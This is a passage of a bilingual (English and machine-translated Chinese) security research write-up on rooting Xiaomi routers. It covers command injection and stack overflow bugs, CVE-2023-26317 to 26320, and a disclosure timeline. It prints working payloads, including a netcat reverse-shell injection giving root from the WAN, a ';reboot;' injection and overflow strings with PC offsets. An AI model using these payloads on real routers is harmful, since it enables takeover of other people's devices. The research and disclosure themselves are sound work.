    json_object_object_add(new_dupe, "data", new_obj);

    // user controlled data is duplicated and stringified
    char* duplicate_data = strdup(json_object_to_json_string(new_dupe));

    int32_t v0_6 = json_object_put(new_dupe);
    if (duplicate_data == 0)
    {
        return v0_6;
    }

    // `duplicate_data` is directly injected into `system()`
    run_cmd_arg("/usr/sbin/feedPush", duplicate_data);
    return free(duplicate_data);
}

We can easily escape the quotes in run_cmd_arg by using a simple trick ($(shell command)) and inject the scene_name. To PoC this vulnerability, we can use those two payloads (again, similar to the previous ones):
我们可以使用一个简单的技巧 ( $(shell command) ) 轻松转义引号, run_cmd_arg 并注入 scene_name .为了 PoC 这个漏洞,我们可以使用这两个有效载荷(同样,类似于前面的):

  • First payload 第一个有效载荷
{
    "command":"scene_setting",
    // Command Injection - making an exterior connection
    "name":"'$(nc 192.168.31.98 4242)'",
    [...] // same as before
}
  • Second payload
{
    "command":"scene_start_by_crontab",
    "time":"2:2",
    "week":0
}

This way, we receive a connection with our listener and confirm the RCE:

Rooting Xiaomi WiFi Routers

Pre-authorization

We now know that the post-authorization LAN is affected by several bugs allowing us to get a root shell on the Xiaomi router: to do so, we need the admin password of the router’s web interface to retrieve the authentication token. Naturally, it would be even more interesting if we could bypass that step: our next phase is then to look at the pre-authorization LAN interface so that any user connected to the WiFi can exploit the router.

The vulnerabilities on this LAN pre-auth surface were found in the lua_rsa_pubkey_encrypt() method from Xiaomi’s /usr/lib/lua/librsa.so library. Using the endpoint’s name, we guess this function simplifies sharing the WiFi password through a link. This function is exposed before authentication via an API endpoint of the router’s interface: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=.

Endpoint /api/misystem/get_wifi_pwd_url – pk_free()

First, we can trigger a call to pk_free() from libembedtls.so on an uninitialized pointer in public_encrypt_keybuf() (called by lua_rsa_pubkey_encrypt()) when giving a malformed RSA public key. This bug could theoretically lead to Remote Code Execution by carefully organizing the stack as we will see.

int32_t public_encrypt_keybuf(char* url, int32_t url_len, int32_t* arg3, int32_t* arg4, char* controlled_key, int32_t key_len)
{
    int32_t ret_code;
    void* pk_ctx;
    int32_t b64_needed_len = 0;
    
    base64_decode(0, &b64_needed_len, controlled_key, key_len);
    if (sys_log_enable != 0)
    {
        syslog(6, " rsa crypto  base64_decode need …", b64_needed_len);
    }

    char* b64 = calloc((b64_needed_len + 1), 1);
    int32_t err_code = base64_decode(b64, &b64_needed_len, controlled_key, key_len);
    if (err_code == 0)
    {
       [..]
    }
    else
    {
        if (sys_log_enable != 0)
        {
            syslog(6, " rsa crypto  base64_decode faile…", err_code);
        }
        ret_code = 101;

        // This is freed but was never initialized if(err_code != 0) 
        pk_free(&pk_ctx);
        free(b64);
    }
    return ret_code;
}

To trigger the pk_free() bug, we just need to send a malformed RSA public key with non-base64 characters. For example: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=%01.
要触发该 pk_free() 错误,我们只需要发送一个格式错误的 RSA 公钥,其中包含非 base64 字符。例如: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=%01 .

In GDB, we can see that an unmapped address is dereferenced in pk_free():
在 GDB 中,我们可以看到一个未映射的地址在以下位置 pk_free() 被取消引用:

Rooting Xiaomi WiFi Routers

To understand this vulnerability a bit more, let’s look at the source code of the pk_free() function from libmbedtls that we can find online: libmbedtls.

/*
 * Free (the components of) a pk_context
 */
void pk_free( pk_context *ctx )
{
    if( ctx == NULL || ctx->pk_info == NULL )
        return;

    ctx->pk_info->ctx_free_func( ctx->pk_ctx );

    polarssl_zeroize( ctx, sizeof( pk_context ) );
}

Here we can see that the context ctx stores at least a function pointer at ctx->pk_info->ctx_free_func and will call this function with ctx->pk_ctx as a parameter. If we manage to overwrite the stack frame of the function or prepare it using a previous call, and because the pk_context variable in public_encrypt_kerybuf() is not initialized at the beginning of the method, it is possible to build a fake pk_context structure in the stack.

For example, we could set ctx->pk_info->ctx_free_func to the libc system function and set ctx->pk_ctx to a custom string (example: “/bin/sh” to spawn a shell).

Unfortunately, it is complicated to set up the stack for this attack because we can see in the Lua code that librsa.so is mapped and unmapped at runtime with only one function from the library being called (lua_rsa_pubkey_encrypt), not really giving us any control:
不幸的是,为这种攻击设置堆栈很复杂,因为我们可以在 Lua 代码中看到,该 librsa.so 代码在运行时被映射和取消映射,只有库中的一个函数被调用 ( lua_rsa_pubkey_encrypt ),并没有真正给我们任何控制权:

function getWifiPwdUrl()
    [...]
    -- Here, `lirsa.so` is loaded
    local lua_crypto = require("librsa")

    [...]
    local rsa_pub_key = LuciHttp.formvalue("rsa_pubkey")
    if rsa_pub_key == nil then
        result.code = 1
        result["msg"] = "http get rsa_pubkey null."
    end
        [...]
            local url = string.format('http://%s/cgi-bin/luci/api/misystem/get_wifi_pwd?token=%s', lanip, token)
            XQLog.log(6,"iot url_origin:"..url)

            -- Here, only `lua_rsa_pubkey_encrypt` is called
            local url_new = lua_crypto.lua_rsa_pubkey_encrypt(url, rsa_pub_key)

            if url_new ~= nil then
                [...]
            else
                XQLog.log(6,"lua call C lib lua_rsa_pubkey_encrypt() ret nil")
                result.code = 3
                result["msg"] = "lua call c api ret null."
            end
    [...]
end

Endpoint /api/misystem/get_wifi_pwd_url – Stack Buffer Overflow (already known as CVE-2020-14124)
端点 /api/misystem/get_wifi_pwd_url – 堆栈缓冲区溢出(已称为 CVE-2020-14124)

We can also trigger a stack buffer overflow in lua_rsa_pubkey_encrypt() by giving an RSA public key longer than 1024 bytes: the stack buffer that receives the RSA key is on the stack and 1024 bytes long, but the program doesn’t check the length of the inserted key.
我们还 lua_rsa_pubkey_encrypt() 可以通过提供长度超过 1024 字节的 RSA 公钥来触发堆栈缓冲区溢出:接收 RSA 密钥的堆栈缓冲区位于堆栈上,长度为 1024 字节,但程序不会检查插入密钥的长度。

int32_t lua_rsa_pubkey_encrypt(struct lua_State* lua_state) {
    char rsa_pub_key[1024];
    char url[256];

    memset(&rsa_pub_key, 0, 1024);
    memset(&url, 0, 256);

    [...]

    strcpy(&url, luaL_checklstring(lua_state, 1, 0));
    int32_t url_len = strlen(&url);

    // Stack buffer overflow !
    strcpy(&rsa_pub_key, luaL_checklstring(lua_state, 2, 0));
    int32_t key_len = strlen(&rsa_pub_key);

    [...]
}

After testing, we can control the PC (Program Counter) after 1036 bytes, so this bug could eventually lead to Remote Code Execution.
经过测试,我们可以控制 1036 字节之后的 PC (Program Counter),因此此错误最终可能导致远程代码执行。

To PoC the stack buffer overflow, we need to send an RSA public key with more than 1036 characters. For example, we can put 1036 * ‘A’ and then overwrite PC with ‘BBBB’: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=AAAAAA...AAAABBBB:
为了 PoC 堆栈缓冲区溢出,我们需要发送一个超过 1036 个字符的 RSA 公钥。例如,我们可以放置 1036 * ‘A’,然后 PC 用 ‘BBBB’ 覆盖: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=AAAAAA...AAAABBBB

Rooting Xiaomi WiFi Routers

Unfortunately, there are some limitations for the exploitation of this buffer overflow: we have to use only base64 characters in our payload (A-Za-z0-9+=/), the use of strcpy() prevents the presence of nullbytes and of course, again, we have to deal with ASLR. We can however note that we could potentially brute force ASLR in this context because the librsa.so binary is mapped at runtime, at a different place everytime and the crashes won’t cause a DoS because it comes from lua code which will be re-executed each time.
不幸的是,利用这种缓冲区溢出有一些限制:我们必须在有效负载中只使用 base64 字符( A-Z , a-z , 0-9 , + , = , / ),使用 of strcpy() 可以防止 null 字节的存在,当然,我们必须再次处理 ASLR。然而,我们可以注意到,在这种情况下,我们可能会暴力破解 ASLR,因为 librsa.so 二进制文件是在运行时映射的,每次都在不同的位置映射,并且崩溃不会导致 DoS,因为它来自每次都会重新执行的 lua 代码。

We also noticed that this vulnerability was already known by Xiaomi and was reported in 2020 by Aobo Wang on the AX3600, assigned to CVE-2020-14124. Knowing that, we decided not to spend too much time trying to exploit it.
我们还注意到,小米已经知道了这个漏洞,并在 2020 年由 Aobo Wang 在 AX3600 上报告了这个漏洞,分配给 CVE-2020-14124。知道这一点后,我们决定不花太多时间试图利用它。

Endpoint /api/misystem/get_wifi_pwd_url – memcmp()
端点 /api/misystem/get_wifi_pwd_url – memcmp()

We can trigger a third bug that occurs in the memcmp() function from /lib/libuClibc-0.9.33.2.so due to a combination of the two precedent bugs. By sending a lengthy and malformed RSA public key with at least one non-base64 character (e.g. with 8000 * ‘A’: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=AAAAAA...AAAA%01BB), we can cause a crash:
我们可以触发 /lib/libuClibc-0.9.33.2.so 函数中发生的 memcmp() 第三个错误,这是由于两个先验错误的组合。通过发送一个冗长且格式错误的 RSA 公钥,其中包含至少一个非 base64 字符(例如,带有 8000 * ‘A’: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=AAAAAA...AAAA%01BB ),我们可能会导致崩溃:

Rooting Xiaomi WiFi Routers

However, this bug has no real impact: the process crashes and the web page is rendering a 502 error but the process is restarted in the next API request. This bug is not exploitable.

WAN

Previously, we looked at the LAN interface in which an attacker must be internal to the network. Our next step was to analyze the possibility of external attacks through the WAN interface.

While intercepting the WAN communications, we noticed that the router makes different requests. One of these requests seemed particularly interesting: an unencrypted HTTP GET request to https://eu.api.miwifi.com/miwifi-broker/list. We reproduced it by hand to see what the answer looks like.

Rooting Xiaomi WiFi Routers

Binary /usr/bin/messagingagent – Command Injection (CVE-2023-26317)
二进制 /usr/bin/messagingagent – 命令注入 (CVE-2023-26317)

We suppose that this GET request is employed to retrieve MQTT server IPs for future communications within the router. A list of IPs is quite interesting and after having seen how some binaries directly passed elements as parameters to other binaries via system(), we had the intuition that this list of IPs could probably be passed as a parameter to a certain binary. We can thus try to blindly inject commands here.
我们假设此 GET 请求用于检索 MQTT 服务器 IP,以便将来在路由器内进行通信。IP 列表非常有趣,在看到一些二进制文件如何直接 system() 将元素作为参数传递给其他二进制文件之后,我们有一种直觉,这个 IP 列表可能可以作为参数传递给某个二进制文件。因此,我们可以尝试在这里盲目地注入命令。

As the HTTP traffic is unencrypted and can be modified, we intercepted the request and just tried to inject ;reboot; in the serverList… And the router rebooted!
由于 HTTP 流量未加密且可以修改,因此我们拦截了该请求并尝试注入 ;reboot; serverList …路由器重新启动了!

Rooting Xiaomi WiFi Routers

With a bash injection, we decided to go a little further and demonstrate an injection that could make an exterior connection using netcat (nc 192.168.0.1 4343). Once again, the only action for the exploit is the interception and modification of outgoing HTTP requests, which is relatively simple.
对于 bash 注入,我们决定更进一步,演示一种可以使用 netcat ( ) 进行外部连接的注入 nc 192.168.0.1 4343 。同样,该漏洞利用的唯一操作是拦截和修改传出的 HTTP 请求,这相对简单。

Rooting Xiaomi WiFi Routers

Moreover with the payload: serverList=192.168.2.5;rm -f /tmp/f;mknod /tmp/f p;echo 'cat /tmp/f|sh -i 2>&1|nc 192.168.0.1 4242 >/tmp/f' > revshell.sh;chmod 777 revshell.sh; sh revshell.sh;:1883, we can pop a root shell on the router from WAN:
此外,使用有效负载: serverList=192.168.2.5;rm -f /tmp/f;mknod /tmp/f p;echo 'cat /tmp/f|sh -i 2>&1|nc 192.168.0.1 4242 >/tmp/f' > revshell.sh;chmod 777 revshell.sh; sh revshell.sh;:1883 ,我们可以从 WAN 在路由器上弹出一个 root shell:

Rooting Xiaomi WiFi Routers

Now, let’s see where the bug comes from.
现在,让我们看看错误来自哪里。

The /usr/bin/messagingagent binary contains the request towards https://eu.api.miwifi.com/miwifi-broker/list: the URL is built using config_api from the /usr/share/messaging.conf file.
二 /usr/bin/messagingagent 进制文件包含对 https://eu.api.miwifi.com/miwifi-broker/list 以下项的请求:URL 是使用 config_api 从 /usr/share/messaging.conf 文件构建的。

key_file = /usr/share/messaging/serverkey_2.pub
push_channel = xqpc
config_api = /miwifi-broker/list
register_device_api = /register_device
miwifi_service_ips = 183.84.5.44,58.83.177.108

This request returns a string of the form: serverList=[IP]:[PORT],.... The parsing function for this HTTP response is in the function ma_app_context_update_conn_data at 0x408698. During the parsing, the IP and PORT are simply scraped from the response and concatenated to a string that is passed into the system function. The issue with this system method is that the command can be easily injected and, therefore, an injection in the IP parameter leads to an OS Command injection.
此请求返回以下格式的字符串: serverList=[IP]:[PORT],... 。此 HTTP 响应的解析函数位于 的 0x408698 函数 ma_app_context_update_conn_data 中。在解析过程中, IP 只需从响应中抓取 and PORT 并连接到传递到函数中的 system 字符串。此 system 方法的问题在于,该命令可以很容易地注入,因此, IP 参数中的注入会导致操作系统命令注入。

int32_t ma_app_context_update_conn_data(void* arg1)
{
    [...]
    // Here we can see the split with ",": ["3.127.110.152:1884", "3.127.110.143:1883", "3.127.110.152:1883"]
    int32_t* configs_split = ma_str_split(*(int32_t*)((char*)arg1 + 0x18), ",");
    int32_t nb_configs = ma_str_array_size(configs_split);
    if (nb_configs == 0)
    {
        trap(0);
    }

     // Here a split with ":": ["3.127.110.152", "1884"]
    int32_t* ip_port_split = ma_str_split(configs_split[(v0_6 % nb_configs)], ":");
    if (ma_str_array_size(ip_port_split) != 2)
    {
        printf("[MQTT ERROR %d %s:%d]: Bad broker list: %s\n", time(0), "/ma_app_context.c", 0xae, *(int32_t*)((char*)arg1 + 0x18));
        fflush(stdout);
    }
    else
    {
        char* broker_ip = *(int32_t*)ip_port_split;
        int32_t broker_port = atoi(ip_port_split[1]);
        int32_t fd = fopen("/tmp/state/messagingagent", "w");
        void* a0_25;
        if (fd == 0)
        {
            printf("[MQTT ERROR %d %s:%d]: Unable to open /tmp/state/messagingagent\n", time(0), "/ma_app_context.c", 0x130);
            fflush(stdout);
            a0_25 = *(int32_t*)((char*)arg1 + 0x3c);
        }
        else
        {
            if (fprintf(fd, "%s:%d", broker_ip, broker_port) < 0)
            {
                printf("[MQTT ERROR %d %s:%d]: Unable to update /tmp/state/messagingagent\n", time(0), "/ma_app_context.c", 0x134);
                fflush(stdout);
            }
            fclose(fd);

            char command[0x30];
            // Command injection here using the IP field
            sprintf(&command,
                    "/sbin/uci set /etc/config/messaging.deviceInfo.BROKER_HOST=%s",
                    broker_ip);
            system(&command);
            
            sprintf(&command,
                    "/sbin/uci set /etc/config/messaging.deviceInfo.BROKER_PORT=%d",
                    broker_port);
            system(&command);

            system("/sbin/uci commit /etc/config/messaging");
    [...]

Binary /usr/bin/messagingagent – Stack Buffer Overflow (CVE-2023-26320)
二进制 /usr/bin/messagingagent 文件 – 堆栈缓冲区溢出 (CVE-2023-26320)

In addition, we noticed the use of the sprintf method here, which does not check the length of the IP string copied to the stack buffer, leading to a stack buffer overflow. Replacing the payload with a large string overflows the buffer. We can PoC this buffer overflow with a cyclic input:
此外,我们注意到这里使用了 sprintf 该方法,该方法不检查复制到堆栈缓冲区的 IP 字符串的长度,从而导致堆栈缓冲区溢出。用大字符串替换有效负载会溢出缓冲区。我们可以用循环输入来 PoC 这个缓冲区溢出:

serverList=192.168.2.5;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa:1883

Thus, this proves that the stack buffer overflow causes a denial of service (DoS) by crashing the /usr/bin/messagingagent. The process will not restart on its own and the router will require a reboot to function normally. The updates, MQTT connections, and system health use /usr/bin/messagingagent as a communication platform: all those systems will be offline due to the DoS. The crash can be seen in the image below.
因此,这证明堆栈缓冲区溢出通过使 /usr/bin/messagingagent .该进程不会自行重新启动,路由器需要重新启动才能正常运行。更新、MQTT 连接和系统运行状况用作 /usr/bin/messagingagent 通信平台:由于 DoS,所有这些系统都将处于离线状态。崩溃可以在下图中看到。

Rooting Xiaomi WiFi Routers

Problem: we can see here that we do have a crash, but it doesn’t look like a PC control: it’s more of an arbitrary pointer dereferencement. If we look at the process memory mapping, we can conclude that this bug happens in ma_str_array_clear():
问题:我们可以在这里看到我们确实发生了崩溃,但它看起来不像一个 PC 控件:它更像是一个任意的指针取消引用。如果我们看一下进程内存映射,我们可以得出结论,这个错误发生在 ma_str_array_clear() :


void ma_str_array_clear(char** str_array) {
    char** _str_array = str_array;
    
    if (str_array == 0) {
        return;
    }

    while (true) {
        char* str = *(int32_t*)_str_array;
        if (str == 0) {
            break;
        }

        _str_array = &_str_array[1]; // _str_array++
        free(str);
    }

    return free(str_array);
}

This function is indeed called at the end of our target function ma_app_context_update_conn_data():
这个函数确实在我们的目标函数 ma_app_context_update_conn_data() 的末尾被调用:

int32_t ma_app_context_update_conn_data(void* arg1) {
[...]
        ma_str_array_clear(configs_split);
        ma_str_array_clear(ip_port_split);
        ret = pthread_mutex_unlock(arg1);
    }

    return ret;
}

We have a problem here because the stack is structured this way:
我们这里有一个问题,因为堆栈的结构是这样的:

[...]
char overflow_buffer[128];
char** configs_split;

When overflowing the overflow_buffer we overwrote the char** passed to the ma_str_array_clear() function. Later, this function tries to free the contents of the parameter and dereference something that can’t be dereferenced, thus leading to an obvious crash.
当溢出overflow_buffer时,我们覆盖了传递给函数的内容 char** ma_str_array_clear() 。稍后,此函数尝试释放参数的内容并取消引用无法取消引用的内容,从而导致明显的崩溃。

We can circumvent this problem with a little trick: overwrite the char** overwritten_string_array_pointer with a valid address that points to 0x00000000. To do so, we can for example take an address from a library that will be mapped to the process memory. At the end of the function, ma_str_array_clear() will try to free it and see that the pointer already points to NULL and so it will return to ma_app_context_update_conn_data(). We can then execute the return instruction and control PC.
我们可以通过一个小技巧来规避这个问题: char** overwritten_string_array_pointer 用指向 0x00000000 的有效地址覆盖 。为此,我们可以从库中获取一个地址,该地址将映射到进程内存。在函数的末尾, ma_str_array_clear() 将尝试释放它,并看到指针已经指向 NULL,因此它将返回到 ma_app_context_update_conn_data() 。然后我们可以执行返回指令并控制 PC 。

As can be seen in the payload below, we have changed BBBB to ws¢( (for 0x7773a228) which is an address inside a library that is loaded at runtime. This simple change allows us to have a direct impact on PC as can be seen in the image below:
从下面的有效负载中可以看出,我们已更改 BBBB 为 ws¢( (for 0x7773a228 ),它是在运行时加载的库中的地址。这个简单的更改使我们能够直接影响 PC 如下图所示:

Rooting Xiaomi WiFi Routers

Indeed, we notice that the program counter PC is changed to the string kaaa which is in our cyclic payload: we here took the control of PC after 97 bytes.
事实上,我们注意到程序计数器 PC 被更改为循环有效负载中的字符串 kaaa :我们在这里控制了 97 个字节 PC 之后的字符串。

Once again, however, we have a similar issue to the smartcontroller binary in which we were unable to pass a NULL byte thus complicating the exploitation using ROP (in the messagingagent binary), even if it could still be possible using only library addresses as we did with 0x7773a228.
然而,我们再次遇到了与 smartcontroller 二进制文件类似的问题,即我们无法传递 NULL 字节,从而使使用 ROP( messagingagent 在二进制文件中)的利用变得复杂,即使仍然可以像我们一样 0x7773a228 仅使用库地址。

The main issue here is the presence of ASLR which does not allow us to know in advance the location of the libraries: we would then, for example, need an ASLR leak to exploit this bug (we can’t bruteforce ASLR because we know that if the process crashes, it won’t restart by itself). At least, we still have a DoS here.
这里的主要问题是 ASLR 的存在,它不允许我们提前知道库的位置:例如,我们需要 ASLR 泄漏来利用这个错误(我们不能暴力破解 ASLR,因为我们知道如果进程崩溃,它不会自行重新启动)。至少,我们这里仍然有一个 DoS。

Furthermore, as we already achieved an RCE on the WAN, we decided to not pursue this vulnerability exploitation further.
此外,由于我们已经在 WAN 上实现了 RCE,因此我们决定不再进一步利用此漏洞。

Some affected products 部分受影响产品

This section contains a table with some Xiaomi firmwares found to be vulnerable to the reported bugs. Indeed, after the first duplicate, we realized that Xiaomi routers have a common code base for the different routers firmwares, therefore, a single vulnerability probably affects various routers. Naturally, we only programmatically checked the firmwares by downloading them online and did not buy the routers for testing.
本节包含一个表格,其中包含一些发现容易受到报告错误影响的小米固件。事实上,在第一次重复之后,我们意识到小米路由器具有用于不同路由器固件的通用代码库,因此,单个漏洞可能会影响各种路由器。当然,我们只是通过在线下载固件来编程检查固件,并没有购买路由器进行测试。

Rooting Xiaomi WiFi Routers

Note: “mitigated” for the buffer overflows means that the binary is compiled with the stack canary protection that makes the exploit of stack buffer overflows even more difficult.
注意:缓冲区溢出的“缓解”意味着二进制文件是使用堆栈金丝雀保护编译的,这使得堆栈缓冲区溢出的利用变得更加困难。

Conclusion 结论

In summary, this report discussed various vulnerabilities we found in the WAN and LAN interfaces of the Mi AIoT Router AC2350, and validated their existence in other Xiaomi firmwares as well.
总之,本报告讨论了我们在 的 WAN 和 LAN 接口中发现的各种漏洞 Mi AIoT Router AC2350 ,并验证了它们在其他小米固件中的存在。

We have unearthed vulnerabilities that go as far back as 2020 and have also identified four new CVEs (CVE-2023-26317CVE-2023-26318CVE-2023-26319, and CVE-2023-26320).
我们发现了早在 2020 年就存在的漏洞,还发现了四个新的 CVE(CVE-2023-26317、CVE-2023-26318、CVE-2023-26319 和 CVE-2023-26320)。

While we hope our findings assist Xiaomi in strengthening their product security, it is worth noting that there are probably more bugs to find!
虽然我们希望我们的发现有助于小米加强其产品安全性,但值得注意的是,可能还有更多错误需要发现!

Timeline 时间线

  • [18/01/2023] Reports sent to Xiaomi on Hackerone
    [18/01/2023] 在 Hackerone 上发送给小米的报告
  • [03/02/2023] First bounty payments
    [03/02/2023] 首次赏金支付
  • [01/08/2023] 4 CVEs assigned and published on Xiaomi Security Center:
    [2023/01/08] 在小米安全中心分配和发布的 4 个 CVE:

原文始发于thalium:Rooting Xiaomi WiFi Routers

版权声明:admin 发表于 2024年3月29日 上午9:39。
转载请注明:Rooting Xiaomi WiFi Routers | CTF导航

相关文章